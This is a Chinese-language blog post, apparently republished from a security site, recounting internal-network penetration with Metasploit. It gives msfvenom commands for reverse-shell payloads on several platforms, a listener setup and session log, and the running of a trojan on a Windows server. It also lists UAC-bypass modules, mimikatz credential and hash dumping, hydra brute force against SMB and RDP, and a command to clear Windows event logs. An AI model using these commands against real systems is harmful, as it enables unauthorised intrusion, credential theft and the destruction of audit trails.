内网渗透|关于msf的那些事儿(实战回忆录)
2021-05-06 16:48:06 Author: www.secpulse.com(查看原文) 阅读量:210 收藏

前言

分享一波内网渗透的操作思路,当然不同的环境,思路当然也有很多,msf有点生疏了,结合之前的项目顺便写点东西吧!!!

msf之payload生成

```
Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名
web
```
PHP:
msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war
```
Android:
>msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk

 msf生成linux木马文件命令

1.生成木马文件

>msf5 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4445 -f elf > mshell.elf

一般放在4444端口,这里4444端口被占用所以使用4445端口

2、配置、监听、执行

```
msf5 > use exploit/multi/handler                              #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp #使用和木马相同的payload
set lhost 1xx.xx.xx.xx #kaili 的ip
set lport 4445 #木马的端口
```

实战

```
msf5 > use exploit/multi/handler
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost xx.xx.xx.xx
lhost => xx.xx.xx.xx
msf5 exploit(multi/handler) > set lport 4445
lport => 4445
msf5 exploit(multi/handler) > run
```

想来想去觉得放真实ip不合适,还是这样比较合适

 msf生成windows木马文件命令

>msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.114.193 lport=4444 -f exe>test.exe

进入windows虚拟机使用浏览器下载文件,渗透过程中常见的服务器一般除了ie浏览器之外还有其他的浏览器,在内网渗透的过程中不用担心站点不信任的问题

打开ie浏览器设置界面,打开工具->internet选项->安全->可信站点

图片.png

可信站点中添加可信站点

图片.png

下载木马文件,并且执行

图片.png

发现该windows server 2008已经成功上线

图片.png

猜测可能是防火墙的原因,这个时候我关闭了防火墙,桥接模式的虚拟机和桥接模式的windows,本机竟然不能下载,步骤没问题,,,,,

提权

```
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
```

windows提取内存密码

可以使用windows版本的mimikatz

msf使用mimikatz

在meterpreter中加载mimikatz模块

> meterpreter > load mimikatz

然后help,查看参数信息

```
kerberos          Attempt to retrieve kerberos creds
livessp           Attempt to retrieve livessp creds
mimikatz_command  Run a custom command
msv               Attempt to retrieve msv creds (hashes)
ssp               Attempt to retrieve ssp creds
tspkg             Attempt to retrieve tspkg creds
wdigest           Attempt to retrieve wdigest creds
```

常用命令为kerberos和msv,执行命令

>msv

图片.png

使用命令

>meterpreter > mimikatz_command  -f samdump::hashes

得到用户名以及密码

图片.png

密码爆破

** hydra爆破**

>hydra -l baymax -P pass.txt smb://xx.xx.xx.xx
```
-l 攻击的用户名 -L 批量攻击的用户名文档
-p 攻击的密码 -P攻击的字典文件
```
>hydra -l baymax -P pass.txt xx.xx.xx.xx rdp

图片.png

图片太过真实,无奈打码

msf命令大全

sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell
日志清除
>clearev  #清除windows中的应用程序日志、系统日志、安全日志
参考链接
>https://www.cnblogs.com/MyGuazi/archive/2019/11/16/11871420.html

参考链接

>https://www.cnblogs.com/hkleak/p/10740360.html

msf提权

>https://blog.csdn.net/l1028386804/article/details/85954288
>https://blog.csdn.net/qq_33020901/article/details/98357659

本文作者:Am1azi3ng

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158303.html


文章来源: https://www.secpulse.com/archives/158303.html
如有侵权请联系:admin#unsafe.sh